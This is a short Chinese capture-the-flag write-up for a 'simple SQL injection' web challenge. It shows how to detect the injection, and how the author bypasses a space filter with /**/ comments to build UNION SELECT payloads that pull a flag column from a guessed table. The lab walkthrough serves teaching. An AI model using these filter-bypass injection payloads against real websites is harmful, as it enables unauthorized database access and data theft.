实验吧web之简单的sql注入1

来源:互联网 发布:欧盟一般数据保护条例 编辑:程序博客网 时间:2024/05/23 19:56
0x.部分题解

一、通过加英文单引号1 ,检测到存在注入:   php?id=1

 

二、按常规步骤输入1 and 1=11 and 1=2的时候,发现报了“SQLi deteced!”而无法查询:php?1 and 1=1  php?1 and 1=2

 

    那么,去掉空格输入1and1=11and1=2呢?

 

    确定是过滤了空格

三、绕过过滤空格的进行手工注入,常用一对英文括号()或者程序中常用的一对注释符/**/来替代空格。

   


四、输入1/**/union/**/select/**/flag/**/from/**/flag/**/where/**/1=1,顺利输出预期结果:

      【至于字段flag和表flag就是纯粹猜测的】


五、加单引号闭合,执行:

        1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1




3 0
原创粉丝点击